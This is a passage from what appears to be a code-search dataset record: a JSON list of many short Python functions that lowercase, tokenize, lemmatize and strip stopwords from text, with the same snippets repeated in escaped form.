if isinstance(input_str, basestring):\n input_str = input_str.strip()\n input_str = tokenize(input_str)\n for word in input_str:\n word = word.lower()\n filtered_input.append(word)\n return \" \".join(filtered_input)","def tokenize(string, lowercase=False):\r\n\timport re\r\n\twords = re.findall(\"([\\w'-+]+)\", string)\r\n\tif lowercase == True:\r\n\t\tlowerwords = []\r\n\t\tfor word in words:\r\n\t\t\tlowerwords.append(word.lower())\r\n\t\twords = lowerwords\r\n\treturn words","def correctCasing(words):\n strings = words.split(' ')\n strings = [s[0].upper()+s[1:].lower() for s in strings if s]\n return ' '.join(strings)","def _transform_to_lowercase(self, doc: str):\n processed_tweet = doc.lower()\n return processed_tweet","def text_processor(sentence, table):\n sentence = sentence.translate(table)\n return([w.lower() for w in sentence.split() if w!=' ' and w!=None])","def mapper(textstr):\n\n\ttokens = re.findall(token_regex, textstr)\n\treturn [(token.lower(), 1) for token in tokens]","def tokenize(text):\n # YOUR CODE HERE\n t = text.lower()\n words = re.findall(r'[a-z]+',t)\n return words","def tokenize(document):\n raw_words=[word.lower() for word in nltk.word_tokenize(document) if word.isalpha()]\n raw_words=[word.lower() for word in raw_words]\n final_words=[]\n for word in raw_words:\n if word not in string.punctuation and word not in nltk.corpus.stopwords.words(\"english\"):\n final_words.append(word.lower())\n return final_words","def cleanWord(word):\r\n newWord = [letter.lower() for letter in word if letter.isalpha()]\r\n return \"\".join(newWord)","def tr_upper_to_lower(text):\n out = []\n for ch in text:\n if ch in tr_upper_to_lower_dict:\n out.append(tr_upper_to_lower_dict[ch])\n else:\n out.append(ch.lower())\n \n return \"\".join(out)","def preprocess_sent(sent):\n #tokenized = word_tokenize(sent.lower())\n tokenizer = Tok()\n tokenized = tokenizer.tokenize(sent.lower())\n return tokenized","def replace_words_fun(self):\n\n cleaned_doc = []\n for word in str(self.doc).split():\n if word.lower() in self.replacement_list.keys():\n cleaned_doc.append(self.replacement_list[word.lower()])\n else:\n cleaned_doc.append(word)\n self.doc = ' '.join(cleaned_doc)","def process(self, sentence):\n\n # selects onlt alphanumeric words\n words = self.tokenizer.tokenize(sentence)\n\n # lemmatize the words\n words = [self.lemmatizer.lemmatize(word) for word in words]\n\n # lowercase all the words and remove single characters\n words = [word.lower() for word in words if len(word) > 1]\n\n # remove the stopwords using NLTK\n words = [word for word in words if word not in stopwords.words('english')]\n\n return words","def censor_list_of_words(text, censored_list):\n for word in censored_list:\n censored_item = \"\"\n for x in range(len(word)):\n if word[x] == \" \":\n censored_item = censored_item + \" \"\n else:\n censored_item = censored_item + \"X\"\n text = text.replace(word, censored_item)\n return text","def preprocessing(raw_text):\n words_list = tokenize(raw_text)\n words_list = remove_stop_words(words_list)\n words_list = remove_punctuations(words_list)\n words_list = lemmatization(words_list)\n return words_list","def tokenize(document):\n token = nltk.word_tokenize(document)\n\n output = [word.lower() for word in token if (word not in string.punctuation and word not in nltk.corpus.stopwords.words(\"english\"))]\n\n return output","def initial_clean(text):\n text = re.sub(\"[^a-zA-Z ]\", \"\", text)\n text = text.lower() # lower case text\n text = nltk.word_tokenize(text)\n return (text)","def create_word(char_list):","def convert_from_text(self, file_name):\n with open(file_name, 'r') as reader:\n words_list = []\n for line in reader:\n words_list.extend(line.split())\n\n for word in set(words_list):\n if word.isalpha():\n self.insert_word(word.lower())\n else:\n self.insert_word(''.join([c for c in word if c.isalpha()]).lower())","def only_lowercase(text):\n\tnot_allowed = string.punctuation + string.whitespace + string.digits\n\ttext2 = [each for each in text if each not in not_allowed]\n\ttext2 = ''.join(text2)\n\treturn text2.lower()","def normalize_func(text: str) -> List[str]:\n tokens = nltk.word_tokenize(text) # need to be consistent with the basic tokenize used in other functions\n return [lemmatizer.lemmatize(w.lower(), get_wordnet_pos(w.lower())) for w in tokens]","def tokenize(text):\n regex = re.compile(r'\\W+')\n tokens = regex.split(text.lower())\n tokens = [token for token in tokens if token]\n return tokens","def lemmatiser(list_of_words, tag):\n output = []\n for word in list_of_words:\n if translated_option.startswith('u'):\n word = taglemma.get(word.lower(), 'Other')\n else:\n word = wordlist.get(word, lmtzr.lemmatize(word, tag))\n if not preserve_case:\n word = word.lower()\n output.append(word)\n return output","def listify(words):\n word_list = []\n for word in words:\n if word:\n word = word.lower()\n if word not in word_list: # add it\n word_list.append(word)\n else:\n pass\n word_list.sort()\n return word_list","def normalize(word):\n word = word.strip().lower()\n return ''.join(sorted(word))","def normalize(string):\n\n normalized = []\n\n for ch in string:\n if ch.isalpha():\n normalized.append(ch.lower())\n\n target = \"\".join(normalized)\n return target","def tokenizer(document: str) -> tokenize.TokenizeResult:\n word_tokenizer = functools.partial(\n tokenize.tokenize_regex_positions, r\"(?:^|\\b)[A-Za-z]+(?:$|\\b)\"\n )\n return tokenize.postprocess_positions([str.lower], word_tokenizer, document)","def stringNormalization(listOfInput):\n\n stop = stopwords.words('english')\n stop_words = (nltk.corpus.stopwords.words('english') + \n ['.', ',', '--', '\\'s', '?', '!', ')', '(', ':', '\\'','\\'re', '\"',\n '-', '}', '{', u'—', 'rt', 'http', 't', 'co', '@', '#',])\n tokens = []\n for wordInput in listOfInput:\n tokens += (nltk.tokenize.word_tokenize(\n re.sub(r'W+', '', wordInput.lower())))\n stemmer = PorterStemmer()\n stemmed = []\n for token in tokens:\n if '/t.co/' in token or token is '' or token in stop_words:\n continue\n stemmed.append(stemmer.stem(token))\n return stemmed","def tokenize(text):\n tokens = word_tokenize(text)\n lemmatizer = WordNetLemmatizer()\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n return clean_tokens","def clean(words):\r\n tokens = []\r\n try:\r\n for token in words:\r\n token = re.sub(r'[\\W\\d_]', \" \", token)\r\n tokens.append(token)\r\n except:\r\n token = \"\"\r\n tokens.append(token)\r\n \r\n return tokens","def stemming(list_of_words):\n curated_list = []\n\n for word in list_of_words:\n output = STEMMER.stem(word)\n\n # preserving uppercase words\n if(word.isupper()):\n curated_list.append(output.upper())\n\n if(word.isupper() == False):\n curated_list.append(output)\n # end of loop\n return curated_list","def token_to_words(sentence):\n\n regex_of_word = re.findall(SENTENCE_TO_WORDS_REGEX, sentence)\n\n words = [x.lower() for x in regex_of_word if x is not '']\n\n return words","def createtext(lst):\n newlst = []\n for item in lst:\n item = item.replace(\"_!\",\"\")\n newlst.append(item)\n text = ' '.join(newlst)\n # Lower-casing\n return text.lower()","def asciify(text: str) -> str:\n return \"\".join(\n filter(\n lambda x: x in list(string.ascii_letters) or x.isspace(), \n unidecode.unidecode(text).lower()\n )\n )","def __stringToLetters(self, words):\r\n li = []\r\n \r\n for word in words:\r\n li.append(list(word))\r\n \r\n return li","def normalize(words: list, language: str = 'english') -> list:\n words = to_lowercase(words)\n words = remove_punctuation(words)\n words = replace_numbers(words)\n words = remove_stopwords(words)\n words = stem_words(words, language)\n return words","def normalize_text(text: str) -> List[str]:\n normalized_text = []\n\n for word in text.split():\n preprocessed_word = TextProcessor.remove_punctuation(word)\n if preprocessed_word:\n normalized_text.append(preprocessed_word.lower())\n\n return normalized_text","def target_words(self) -> List[str]:\n return list(map(\n lambda w: self.spaces[w.lower()] \n if w.lower() in self.spaces else w.lower(), \n self.keywords\n ))","def tokenize(text):\n\n tokens = word_tokenize(text)\n lemmatizer = WordNetLemmatizer()\n\n return [lemmatizer.lemmatize(token).lower().strip() for token in tokens]","def format_words(words):\n return sorted(words, key=str.lower)","def pre_process(text):\n # replace (,.'\") with ''\n text = text.replace(',', '')\n text = text.replace('.', '')\n text = text.replace(\"'\", '')\n text = text.replace(\"\\\"\", '')\n\n # tokenize into words\n tokens = [word for sent in sent_tokenize(text) for word in word_tokenize(sent)]\n\n # remove stopwords\n stop = stopwords.words('english')\n tokens = [token for token in tokens if token not in stop]\n\n # remove words less than three letters\n tokens = [word for word in tokens if len(word) >= 3]\n\n # lower capitalization\n tokens = [word.lower() for word in tokens]\n\n # lemmatize\n lmtzr = WordNetLemmatizer()\n tokens = [lmtzr.lemmatize(word) for word in tokens]\n\n return tokens","def separate_words(text):\n splitter = re.compile('\\\\W*')\n return [s.lower() for s in splitter.split(text) if s != '']","def tokenize(text):\n tokens=word_tokenize(text)\n lemmatizer=WordNetLemmatizer()\n \n clean_tokens=[]\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n return clean_tokens\n pass","def normalize_contractions(tokens):\n token_map = {\n \"i'm\": \"i am\",\n \"you're\": \"you are\",\n \"it's\": \"it is\",\n \"we're\": \"we are\",\n \"we'll\": \"we will\",\n }\n for tok in tokens:\n if tok in token_map.keys():\n for item in token_map[tok].split():\n yield item\n else:\n yield tok","def LCase(text):\n return text.lower()","def tokenize(self, N=None, drop_punctuation=True, lower=True):\n for tok in self.tokenize_generic(word_tokenize, N=N, drop_punctuation=drop_punctuation):\n if lower:\n tok = tok.lower()\n yield tok","def normalize_word(text):\n if text:\n stripped = \"\".join(unicode(text).translate(tbl).lower().split())\n return stripped","def tokenize(text):\n tokens = word_tokenize(text)\n lemmatizer = WordNetLemmatizer()\n\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n \n return clean_tokens","def _preprocess(self):\n _words = []\n \n # Preprocess Token List.\n wasCaps = False\n nwords = len(self._words)\n for index in range(nwords):\n word = self._words[index]\n length = len(word['word'])\n\n # (1) Remove periods from abbreviations\n if word['word'] == '.':\n # Preceded by a single letter\n if len(_words) > 0 and len(_words[-1]['word']) == 1 and _words[-1]['word'].isalpha():\n # Set previous word as Abbreviation\n if _words[-1]['tag'] not in [Vocabulary.NAME, Vocabulary.TITLE]:\n _words[-1]['tag'] = Vocabulary.ABBR\n # Drop the punct!\n # Proceeded by an abbreviated name title\n elif self._punct == False and len(_words) > 0 and (_words[-1]['tag'] in [Vocabulary.NAME, Vocabulary.TITLE] or _words[-1]['tag'] == Vocabulary.DATE):\n # Drop the punct!\n pass\n else:\n _words.append(word)\n \n # Single character\n elif length == 1:\n # Lowercase the single letter\n if word['word'].isupper():\n word['word'] = word['word'].lower()\n \n if word['word'].isalpha():\n # Continuation of a Name\n if len(_words) > 0 and _words[-1]['tag'] == Vocabulary.NAME:\n word['tag'] = Vocabulary.NAME\n \n # Keep single letter word\n _words.append(word)\n \n wasCaps = False\n \n # Multiple Character \n else:\n # All Uppercased (can't start with digit)\n if word['word'].isupper() and not word['word'][0].isdigit() and not word['word'][0] == '°':\n # (2) Identify Acronyms\n # If the next word is uppercased, it is a title line, not an acronym\n # If last word is uppercased, it is a title line, not an acronym\n word['word'] = word['word'].lower()\n if not (index+1 < nwords and self._words[index+1]['word'].isupper()) and (index+1 != nwords or wasCaps == False):\n try:\n v = vocab[word['word']]\n if Vocabulary.NAME in v['tag']:\n word['tag'] = Vocabulary.NAME\n # Word is a title (e.g., CEO)\n elif Vocabulary.TITLE in v['tag']:\n word['tag'] = Vocabulary.TITLE\n itag = v['tag'].index(Vocabulary.TITLE)\n word['word'] = v['lemma'][itag]\n else:\n word['tag'] = Vocabulary.ACRONYM\n except:\n word['tag'] = Vocabulary.ACRONYM\n \n wasCaps = True\n \n # First Letter is Capitalized\n elif word['word'][0].isupper():\n # First Word \n if len(_words) == 0:\n pass\n # Follows abbreviated title\n elif len(_words) > 1 and _words[-1]['word'] == '.' and _words[-2]['tag'] == Vocabulary.TITLE:\n word['tag'] = Vocabulary.NAME\n # Start of Sentence\n elif _words[-1]['tag'] == Vocabulary.PUNCT and _words[-1]['word'] not in [',', ':']:\n pass\n elif word['word'] in ['Jan', 'January', 'Feb', 'February', 'Mar', 'March', 'Apr', 'April', 'May', 'Jun', 'June', 'Jul', 'July', 'Aug', 'August', 'Sep', 'Sept', 'September', 'Oct', 'October', 'Nov', 'November', 'Dec', 'December']:\n word['tag'] = Vocabulary.DATE\n # (3) Identify Proper Names\n # Word is capitalized and not proceeded by period (.), question (?) or exclamation (!)\n # or single/double quote\n else:\n word['tag'] = Vocabulary.NAME\n # Proceeding Acronym is a really part of a name\n if len(_words) > 0 and _words[-1]['tag'] == Vocabulary.ACRONYM:\n _words[-1]['tag'] = Vocabulary.NAME\n # Proceeding Word is a Title of a name (e.g., Mr)\n else:\n try:\n v = vocab[_words[-1]['word']]\n if Vocabulary.TITLE in v['tag']:\n _words[-1]['tag'] = Vocabulary.TITLE\n itag = v['tag'].index(Vocabulary.TITLE)\n _words[-1]['word'] = v['lemma'][itag]\n \n except:\n # Word is an ending title in a name\n try:\n v = vocab[word['word'].lower()]\n if Vocabulary.TITLE in v['tag'] and Vocabulary.STREET_TYPE not in v['tag'] and Vocabulary.STATE not in v['tag']:\n word['tag'] = Vocabulary.TITLE\n itag = v['tag'].index(Vocabulary.TITLE)\n word['word'] = v['lemma'][itag]\n except: pass\n wasCaps = False\n \n # First Letter is a Digit\n elif word['word'][0].isdigit():\n cont = False\n # Check if this is a number combined with a unit\n for i in range(1, len(word['word'])):\n # Separate the number from the proceeding text\n if word['word'][i].isalpha():\n token = word['word'][i:].lower()\n # Check if the proceeding text is a Unit of Measurement\n try:\n v = vocab[token]\n if Vocabulary.UNIT in v['tag']:\n itag = v['tag'].index(Vocabulary.UNIT)\n _words.append( { 'word': word['word'][0:i], 'tag': Vocabulary.NUMBER } )\n _words.append( { 'word': v['lemma'][itag], 'tag': Vocabulary.UNIT } )\n cont = True\n except: pass\n break\n elif not word['word'][i].isdigit() and word['word'][i] != Words.DECIMAL:\n break\n if cont == True:\n continue\n \n # lowercase\n word['word'] = word['word'].lower()\n # romanize\n if self._roman:\n word['word'] = unidecode(word['word'])\n _words.append(word)\n \n self._words = _words","def tokenize(text):\n text = re.sub('[^A-Za-z0-9]', ' ', text)\n tokens = word_tokenize(text)\n lemmatizer = WordNetLemmatizer()\n\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n return clean_tokens","def normalise(word):\n\t\tword = word.lower()\n\t\tword = lemmatizer.lemmatize(word)\n\t\t# word = stemmer.stem_word(word)\n\t\treturn word","def make_alphabetic(text):\n text = re.sub(r'[^A-Za-z\\s]', '', text)\n return text.lower()","def latinize_word(word):\n if word[0].lower() in 'bcdfghjklmnpqrstvwxyz':\n word = word[1:] + word[0] + 'uzz'\n else:\n word += 'buzz'\n return word.lower()","def normalize_words(document):\n stopwords = set(nltk.corpus.stopwords.words('english'))\n lemmatizer = nltk.stem.wordnet.WordNetLemmatizer()\n for token in document:\n token = token.lower()\n if token in string.punctuation: continue\n if token in stopwords: continue\n yield lemmatizer.lemmatize(token)","def tokenize(text):\n text = re.sub(r\"[^a-zA-Z0-9]+\", \" \", text.lower())\n\n tokens = word_tokenize(text)\n lemmatizer = WordNetLemmatizer()\n\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n\n return clean_tokens","def tokenize(text):\n tokens = word_tokenize(text)\n lemmatizer = WordNetLemmatizer()\n\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n\n return clean_tokens","def convert_words(textfilename):\r\n words_lst = []\r\n for line in textfilename:\r\n word = line.rstrip().lower()\r\n words_lst.append(word)\r\n return words_lst"],"string":"[\n \"def lowercase(tokens):\\n if not lowercase_activated:\\n return tokens\\n output = [token.lower() for token in tokens]\\n return output\",\n \"def preprocess(tokens):\\n result = []\\n for token in tokens:\\n result.append(token.lower())\\n return result\",\n \"def lowercase(tokens):\\n return [token.lower() for token in tokens if token.isalpha()]\",\n \"def to_lower(self, word_list):\\n return [word.lower() for word in word_list]\",\n \"def _apply_lowercase(sentence_tokens):\\n return [token.lower() for token in sentence_tokens]\",\n \"def _to_lowercase(words):\\n new_words = []\\n for word in words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n return new_words\",\n \"def to_lowercase(words):\\r\\n new_words = []\\r\\n for word in words:\\r\\n new_word = word.lower()\\r\\n new_words.append(new_word)\\r\\n return new_words\",\n \"def to_lowercase(words: list) -> list:\\n new_words = []\\n for word in words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n return new_words\",\n \"def to_lowercase(words):\\n new_words = []\\n for word in words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n return new_words\",\n \"def to_lowercase(words):\\n new_words = []\\n for word in words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n return new_words\",\n \"def to_lowercase(words):\\n new_words = []\\n for word in words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n return new_words\",\n \"def to_lowercase(words):\\n new_words = []\\n for word in words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n return new_words\",\n \"def to_lowercase(words):\\n new_words = []\\n for word in words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n return new_words\",\n \"def to_lowercase(words):\\n new_words = []\\n for word in words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n return new_words\",\n \"def to_lowercase(words):\\n new_words = []\\n for word in words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n return new_words\",\n \"def to_lowercase(words):\\n all_lowercase = []\\n for word in words:\\n new_word = word.lower()\\n all_lowercase.append(new_word)\\n return all_lowercase\",\n \"def lowercase(lista):\\n return [text.lower() for text in lista]\",\n \"def toLowercase(self, words):\\n\\t\\tnewWords = [word.lower() for word in words]\\n\\t\\treturn newWords\",\n \"def lower(self, text_list):\\n return [text.lower() for text in text_list]\",\n \"def to_lowercase(self):\\n new_words = []\\n # new_words = \\\"\\\"\\n for word in self.words:\\n new_word = word.lower()\\n new_words.append(new_word)\\n # new_word += f\\\"{new_word} \\\"\\n self.words = new_words\\n return self\",\n \"def tokens(doc):\\n return (tok.lower() for tok in re.findall(r\\\"\\\\w+\\\", doc))\",\n \"def tokenized_text(text: Text):\\n words = nltk.word_tokenize(text)\\n return (w.lower().strip() for w in words if ONLY_LETTER_WORDS.match(w))\",\n \"def preprocess_words(word: str) -> List[str]:\\n return [change_latin(w) for w in word.lower().translate(SUB_MAP).split()] if word else []\",\n \"def process_text(text):\\n words = word_tokenize(text)\\n return [word.lower() for word in words if word not in string.punctuation]\",\n \"def preprocess(text):\\n return text.lower()\",\n \"def tokenize(data, tokenizer=None):\\n toker = build_tokenizer(tokenizer=tokenizer)\\n return [t.lower() for t in toker.tokenize(data)]\",\n \"def lower_case(text_vector):\\n\\n tokenised_document = [token.lower() for token in text_vector]\\n return tokenised_document\",\n \"def keep_lowercase(str_list):\",\n \"def tokenize(text):\\n return [token.lower() for token in simple_preprocess(text) if token not in STOPWORDS]\",\n \"def preprocess(words):\\n words = to_lowercase(words)\\n words = remove_punctuation(words)\\n words = replace_numbers(words)\\n return words\",\n \"def character_tokenizer(sentence):\\n sentence = character_pattern.sub('', sentence)\\n sentence = sentence.replace(' ', '_')\\n return list(sentence.lower())\",\n \"def lowercase(raw_text):\\n lowercase_text = [text.lower() for text in raw_text]\\n return lowercase_text\",\n \"def applies_capitalization(self, token_list, original_sentence):\\n new_token_list = []\\n original_token_list = original_sentence.split(\\\" \\\")\\n for idx, token in enumerate(token_list):\\n if idx < len(original_token_list):\\n if token.lower() == original_token_list[idx].lower():\\n new_token_list.append(original_token_list[idx])\\n else:\\n new_token_list.append(token)\\n else:\\n new_token_list.append(token)\\n\\n return new_token_list\",\n \"def lowercase_well_known_word(text):\\n lines = []\\n lines_append = lines.append\\n for line in text.splitlines(True):\\n words = []\\n words_append = words.append\\n for word in line.split():\\n if word in COMMON_WORDS:\\n word = word.lower()\\n words_append(word)\\n lines_append(' '.join(words))\\n return '\\\\n'.join(lines)\",\n \"def lower_and_tokenize(text: str) -> List[str]:\\n\\n # tokenize text, split by non-word characters, i.e. characters not in [a-zA-Z0-9_]\\n tokens = re.split(r'\\\\W+', text)\\n\\n # force text to lowercase, filtering out empty characters\\n lower_tokens = [t.lower() for t in tokens if t != '']\\n\\n return lower_tokens\",\n \"def sanitize_text(tokens, stopwords=None):\\n\\n tokens = [x.lower() for x in tokens]\\n regex = re.compile('[^a-z]')\\n\\n for index in range(len(tokens)):\\n tokens[index] = regex.sub('', tokens[index])\\n if stopwords and tokens[index] in stopwords:\\n tokens[index] = ''\\n\\n # remove empty elements\\n tokens = [token for token in tokens if token != '']\\n return tokens\",\n \"def get_word(w):\\n return ''.join(c for c in w if c.isalpha()).lower()\",\n \"def lowercase(self, sent):\\n SPECIAL_TAG_PREFIX = ur\\\"__\\\"\\n _sent = []\\n for w in sent:\\n # make sure w is in network vocabulary\\n if not w.startswith(SPECIAL_TAG_PREFIX) and \\\\\\n w.lower() in self.word_vectors.getVocab():\\n _sent.append(w.lower())\\n elif w.startswith(SPECIAL_TAG_PREFIX) and \\\\\\n w in self.word_vectors.getVocab():\\n _sent.append(w)\\n else:\\n _sent.append( self.word_vectors.OOV_SYMBOL )\\n return _sent\",\n \"def normalize_answer(text):\\n return ' '.join(re.findall(r\\\"\\\\w+\\\", text)).lower()\",\n \"def transformation_minuscules(liste_car: List[str]) -> List[str]:\\n for i in range(len(liste_car)):\\n if liste_car[i].islower():\\n liste_car[i] = liste_car[i].upper()\\n return liste_car\",\n \"def transformation_minuscules(liste_car: List[str]) -> List[str]:\\n for i in range(len(liste_car)):\\n if liste_car[i].islower():\\n liste_car[i] = liste_car[i].upper()\\n return liste_car\",\n \"def lemmatization(tokenized_word_list):\\n porter=nltk.stem.PorterStemmer()\\n filtered_tokens = [porter.stem(word) for word in tokenized_word_list]\\n return filtered_tokens\",\n \"def normalize_word(word):\\n\\n return word.lower()\",\n \"def normalize(input_str):\\n filtered_input = []\\n #check if string input\\n if isinstance(input_str, basestring):\\n input_str = input_str.strip()\\n input_str = tokenize(input_str)\\n for word in input_str:\\n word = word.lower()\\n filtered_input.append(word)\\n return \\\" \\\".join(filtered_input)\",\n \"def tokenize(string, lowercase=False):\\r\\n\\timport re\\r\\n\\twords = re.findall(\\\"([\\\\w'-+]+)\\\", string)\\r\\n\\tif lowercase == True:\\r\\n\\t\\tlowerwords = []\\r\\n\\t\\tfor word in words:\\r\\n\\t\\t\\tlowerwords.append(word.lower())\\r\\n\\t\\twords = lowerwords\\r\\n\\treturn words\",\n \"def correctCasing(words):\\n strings = words.split(' ')\\n strings = [s[0].upper()+s[1:].lower() for s in strings if s]\\n return ' '.join(strings)\",\n \"def _transform_to_lowercase(self, doc: str):\\n processed_tweet = doc.lower()\\n return processed_tweet\",\n \"def text_processor(sentence, table):\\n sentence = sentence.translate(table)\\n return([w.lower() for w in sentence.split() if w!=' ' and w!=None])\",\n \"def mapper(textstr):\\n\\n\\ttokens = re.findall(token_regex, textstr)\\n\\treturn [(token.lower(), 1) for token in tokens]\",\n \"def tokenize(text):\\n # YOUR CODE HERE\\n t = text.lower()\\n words = re.findall(r'[a-z]+',t)\\n return words\",\n \"def tokenize(document):\\n raw_words=[word.lower() for word in nltk.word_tokenize(document) if word.isalpha()]\\n raw_words=[word.lower() for word in raw_words]\\n final_words=[]\\n for word in raw_words:\\n if word not in string.punctuation and word not in nltk.corpus.stopwords.words(\\\"english\\\"):\\n final_words.append(word.lower())\\n return final_words\",\n \"def cleanWord(word):\\r\\n newWord = [letter.lower() for letter in word if letter.isalpha()]\\r\\n return \\\"\\\".join(newWord)\",\n \"def tr_upper_to_lower(text):\\n out = []\\n for ch in text:\\n if ch in tr_upper_to_lower_dict:\\n out.append(tr_upper_to_lower_dict[ch])\\n else:\\n out.append(ch.lower())\\n \\n return \\\"\\\".join(out)\",\n \"def preprocess_sent(sent):\\n #tokenized = word_tokenize(sent.lower())\\n tokenizer = Tok()\\n tokenized = tokenizer.tokenize(sent.lower())\\n return tokenized\",\n \"def replace_words_fun(self):\\n\\n cleaned_doc = []\\n for word in str(self.doc).split():\\n if word.lower() in self.replacement_list.keys():\\n cleaned_doc.append(self.replacement_list[word.lower()])\\n else:\\n cleaned_doc.append(word)\\n self.doc = ' '.join(cleaned_doc)\",\n \"def process(self, sentence):\\n\\n # selects onlt alphanumeric words\\n words = self.tokenizer.tokenize(sentence)\\n\\n # lemmatize the words\\n words = [self.lemmatizer.lemmatize(word) for word in words]\\n\\n # lowercase all the words and remove single characters\\n words = [word.lower() for word in words if len(word) > 1]\\n\\n # remove the stopwords using NLTK\\n words = [word for word in words if word not in stopwords.words('english')]\\n\\n return words\",\n \"def censor_list_of_words(text, censored_list):\\n for word in censored_list:\\n censored_item = \\\"\\\"\\n for x in range(len(word)):\\n if word[x] == \\\" \\\":\\n censored_item = censored_item + \\\" \\\"\\n else:\\n censored_item = censored_item + \\\"X\\\"\\n text = text.replace(word, censored_item)\\n return text\",\n \"def preprocessing(raw_text):\\n words_list = tokenize(raw_text)\\n words_list = remove_stop_words(words_list)\\n words_list = remove_punctuations(words_list)\\n words_list = lemmatization(words_list)\\n return words_list\",\n \"def tokenize(document):\\n token = nltk.word_tokenize(document)\\n\\n output = [word.lower() for word in token if (word not in string.punctuation and word not in nltk.corpus.stopwords.words(\\\"english\\\"))]\\n\\n return output\",\n \"def initial_clean(text):\\n text = re.sub(\\\"[^a-zA-Z ]\\\", \\\"\\\", text)\\n text = text.lower() # lower case text\\n text = nltk.word_tokenize(text)\\n return (text)\",\n \"def create_word(char_list):\",\n \"def convert_from_text(self, file_name):\\n with open(file_name, 'r') as reader:\\n words_list = []\\n for line in reader:\\n words_list.extend(line.split())\\n\\n for word in set(words_list):\\n if word.isalpha():\\n self.insert_word(word.lower())\\n else:\\n self.insert_word(''.join([c for c in word if c.isalpha()]).lower())\",\n \"def only_lowercase(text):\\n\\tnot_allowed = string.punctuation + string.whitespace + string.digits\\n\\ttext2 = [each for each in text if each not in not_allowed]\\n\\ttext2 = ''.join(text2)\\n\\treturn text2.lower()\",\n \"def normalize_func(text: str) -> List[str]:\\n tokens = nltk.word_tokenize(text) # need to be consistent with the basic tokenize used in other functions\\n return [lemmatizer.lemmatize(w.lower(), get_wordnet_pos(w.lower())) for w in tokens]\",\n \"def tokenize(text):\\n regex = re.compile(r'\\\\W+')\\n tokens = regex.split(text.lower())\\n tokens = [token for token in tokens if token]\\n return tokens\",\n \"def lemmatiser(list_of_words, tag):\\n output = []\\n for word in list_of_words:\\n if translated_option.startswith('u'):\\n word = taglemma.get(word.lower(), 'Other')\\n else:\\n word = wordlist.get(word, lmtzr.lemmatize(word, tag))\\n if not preserve_case:\\n word = word.lower()\\n output.append(word)\\n return output\",\n \"def listify(words):\\n word_list = []\\n for word in words:\\n if word:\\n word = word.lower()\\n if word not in word_list: # add it\\n word_list.append(word)\\n else:\\n pass\\n word_list.sort()\\n return word_list\",\n \"def normalize(word):\\n word = word.strip().lower()\\n return ''.join(sorted(word))\",\n \"def normalize(string):\\n\\n normalized = []\\n\\n for ch in string:\\n if ch.isalpha():\\n normalized.append(ch.lower())\\n\\n target = \\\"\\\".join(normalized)\\n return target\",\n \"def tokenizer(document: str) -> tokenize.TokenizeResult:\\n word_tokenizer = functools.partial(\\n tokenize.tokenize_regex_positions, r\\\"(?:^|\\\\b)[A-Za-z]+(?:$|\\\\b)\\\"\\n )\\n return tokenize.postprocess_positions([str.lower], word_tokenizer, document)\",\n \"def stringNormalization(listOfInput):\\n\\n stop = stopwords.words('english')\\n stop_words = (nltk.corpus.stopwords.words('english') + \\n ['.', ',', '--', '\\\\'s', '?', '!', ')', '(', ':', '\\\\'','\\\\'re', '\\\"',\\n '-', '}', '{', u'—', 'rt', 'http', 't', 'co', '@', '#',])\\n tokens = []\\n for wordInput in listOfInput:\\n tokens += (nltk.tokenize.word_tokenize(\\n re.sub(r'W+', '', wordInput.lower())))\\n stemmer = PorterStemmer()\\n stemmed = []\\n for token in tokens:\\n if '/t.co/' in token or token is '' or token in stop_words:\\n continue\\n stemmed.append(stemmer.stem(token))\\n return stemmed\",\n \"def tokenize(text):\\n tokens = word_tokenize(text)\\n lemmatizer = WordNetLemmatizer()\\n clean_tokens = []\\n for tok in tokens:\\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\\n clean_tokens.append(clean_tok)\\n return clean_tokens\",\n \"def clean(words):\\r\\n tokens = []\\r\\n try:\\r\\n for token in words:\\r\\n token = re.sub(r'[\\\\W\\\\d_]', \\\" \\\", token)\\r\\n tokens.append(token)\\r\\n except:\\r\\n token = \\\"\\\"\\r\\n tokens.append(token)\\r\\n \\r\\n return tokens\",\n \"def stemming(list_of_words):\\n curated_list = []\\n\\n for word in list_of_words:\\n output = STEMMER.stem(word)\\n\\n # preserving uppercase words\\n if(word.isupper()):\\n curated_list.append(output.upper())\\n\\n if(word.isupper() == False):\\n curated_list.append(output)\\n # end of loop\\n return curated_list\",\n \"def token_to_words(sentence):\\n\\n regex_of_word = re.findall(SENTENCE_TO_WORDS_REGEX, sentence)\\n\\n words = [x.lower() for x in regex_of_word if x is not '']\\n\\n return words\",\n \"def createtext(lst):\\n newlst = []\\n for item in lst:\\n item = item.replace(\\\"_!\\\",\\\"\\\")\\n newlst.append(item)\\n text = ' '.join(newlst)\\n # Lower-casing\\n return text.lower()\",\n \"def asciify(text: str) -> str:\\n return \\\"\\\".join(\\n filter(\\n lambda x: x in list(string.ascii_letters) or x.isspace(), \\n unidecode.unidecode(text).lower()\\n )\\n )\",\n \"def __stringToLetters(self, words):\\r\\n li = []\\r\\n \\r\\n for word in words:\\r\\n li.append(list(word))\\r\\n \\r\\n return li\",\n \"def normalize(words: list, language: str = 'english') -> list:\\n words = to_lowercase(words)\\n words = remove_punctuation(words)\\n words = replace_numbers(words)\\n words = remove_stopwords(words)\\n words = stem_words(words, language)\\n return words\",\n \"def normalize_text(text: str) -> List[str]:\\n normalized_text = []\\n\\n for word in text.split():\\n preprocessed_word = 